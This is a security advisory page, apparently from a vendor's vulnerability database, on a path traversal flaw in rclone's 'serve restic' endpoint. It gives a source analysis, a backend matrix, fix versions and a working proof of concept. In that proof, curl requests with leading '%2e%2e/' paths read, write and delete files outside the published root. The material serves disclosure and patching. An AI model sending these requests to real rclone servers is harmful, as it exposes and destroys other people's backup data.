Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-45pq-889g-fcgh rclone

Fix: rclone/rclone@cc5a189

GHSA-45pq-889g-fcgh is a Path Traversal vulnerability in github.com/rclone/rclone. A fix is available for github.com/rclone/rclone — see the affected versions and patch details below.

rclone: Incomplete path validation allows backend root escape in serve restic

Also known asBIT-rclone-2026-71309CVE-2026-71309GO-2026-6184
Published
Aug 5, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-45pq-889g-fcgh.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹github.com/rclone/rclone

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

rclone serve restic does not correctly reject URL paths beginning with ../. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator.

The issue affects rclone v1.40 through rclone v1.74.4. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for v1.74.4, and the latest master commit reviewed at the time (2217d38) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process.

Affected versions

All releases from v1.40 through v1.74.4 are affected.

Affected components and backend propagation

The primary vulnerable component is the backend-independent WithRemote middleware in cmd/serve/restic/restic.go, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV.

The backend determines whether the accepted ../ path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing:

Layer or backendFile and functionRelevant linesPath propagationDynamic evidence
REST server, primary causecmd/serve/restic/restic.go, WithRemote235-264Accepts a leading ../ remote and shares it with GET, HEAD, POST, and DELETE handlersConfirmed through WebDAV
WebDAVbackend/webdav/webdav.go, (*Fs).filePath421-427path.Join(f.root, file) removes the configured root when resolving ../read, write, delete
FTPbackend/ftp/ftp.go, (*Fs).NewObject, (*Object).Open, Update, and Remove844-848, 1308-1311, 1349-1356, 1411-1415Each operation joins the backend root and remote with path.Join before the FTP requestread, write, delete
HTTPbackend/http/http.go, (*Fs).url386-395Appends the escaped remote containing ../ to the configured endpoint URLread
Memorybackend/memory/memory.go, (*Fs).split227-231Joins f.root and the relative path before splitting the in-memory bucket and keyread, write, delete
SFTPbackend/sftp/sftp.go, (*Fs).remotePath2086-2089Joins f.absRoot and the remote, allowing the parent component to remove the published subdirectoryread, write, delete

These are backend-specific manifestations of the same WithRemote validation flaw, not separate vulnerabilities.

Technical Details

WithRemote obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with path.Clean:

urlpath = strings.Trim(urlpath, "/")
// Reject any non-canonical path, in particular one containing ".."
// traversal elements.
if urlpath != "" && path.Clean(urlpath) != urlpath {
    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

The comment describes the intended behavior, but the condition does not reject every parent component. path.Clean preserves leading parent components in a relative path:

path.Clean("../outside.txt")  = "../outside.txt"
path.Clean("../../outside.txt") = "../../outside.txt"

Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently:

path.Clean("a/../../outside.txt") = "../outside.txt"

These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.

After validation, WithRemote stores the accepted value in the request context:

ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))

GET, POST, and DELETE handlers retrieve this same value. GET passes it to s.f.NewObject, POST passes it to operations.RcatSize, and DELETE resolves the object and calls Remove. There is no second containment check.

WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by WithRemote is propagated by a backend.

The WebDAV backend joins its configured root with the attacker-controlled remote:

func (f *Fs) filePath(file string) string {
    subPath := path.Join(f.root, file)
    if f.opt.Enc != encoder.EncodeZero {
        subPath = f.opt.Enc.FromStandardPath(subPath)
    }
    return rest.URLPathEscapeAll(subPath)
}

For the proof of concept:

f.root = "served-root"
file = "../outside-secret.txt"

path.Join("served-root", "../outside-secret.txt")
= "outside-secret.txt"

The configured root is removed before encoding. WsgiDAV receives a normal operation for /outside-secret.txt, which is outside the root published by rclone serve restic.

The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with path.Join before object operations; HTTP preserves served-root/../outside-secret.txt when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins f.absRoot and the remote in remotePath. In each case, the backend receives the leading parent component already accepted by WithRemote. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded .. as filename characters.

Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside served-root.

Preconditions and impact

The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.

An attacker may:

  • read files and objects outside the published backup root;
  • create or overwrite sibling objects;
  • delete objects when deletion is permitted;
  • cross isolation boundaries between users, repositories, or automation jobs;
  • indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.

--append-only reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.

Proof of concept

The following procedure was executed on Linux Mint 22.3 with the official rclone v1.74.4 Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.

1. Create the storage layout

$ mkdir -p poc/storage/served-root
$ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt
$ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt
$ find poc/storage -type f
poc/storage/served-root/inside.txt
poc/storage/outside-secret.txt

2. Start the independent WebDAV server

$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
    --root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3

3. Download, verify, and start rclone

$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep '  rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK

$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4

$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
    --webdav-url http://127.0.0.1:39500 \
    --webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]

4. Confirm normal access

$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT

5. Read outside the published root

$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT

6. Write outside the published root

$ curl --path-as-is -i -X POST \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt \
    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...

$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT

7. Delete outside the published root

$ curl --path-as-is -i -X DELETE \
    http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...

$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted

8. Compare with internal traversal

$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request

This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.

Tested backends

BackendLocal implementationResultOperations tested
WebDAVWsgiDAV 4.3.5Affectedread, write, delete
FTPpyftpdlib 2.2.0Affectedread, write, delete
HTTPPython http.server 3.12.3Affectedread
Memoryrclone memory backendAffectedread, write, delete
SFTPatmoz/sftp OpenSSH serverAffectedread, write, delete
S3 compatibleMinIONo root escape observedread, write, delete
Local filesystemdefault local encodingNo root escape observedread, write, delete

Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.

Suggested remediation

Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.

Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.

Additional impact scenarios identified by the maintainer

  • GET /../ could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.
  • With --append-only, a request such as DELETE /../locks/<name> could satisfy the existing delete guard and delete an object outside the served root.
  • A bare . path was also accepted. On bucket-based backends, POST /. could write an object outside the intended served path.

Credit: Caubi Loureiro of Vorpcel Research

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/rclone/rclone1.40.0&&< 1.75.01.75.0go get github.com/rclone/rclone@v1.75.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/rclone/rclone to 1.75.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-45pq-889g-fcgh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-45pq-889g-fcgh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-45pq-889g-fcgh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator. The issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and
O3 Security · Impact-Aware SCA

Is GHSA-45pq-889g-fcgh in your dependencies?

O3 Security finds GHSA-45pq-889g-fcgh across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-45pq-889g-fcgh: rclone | O3 Security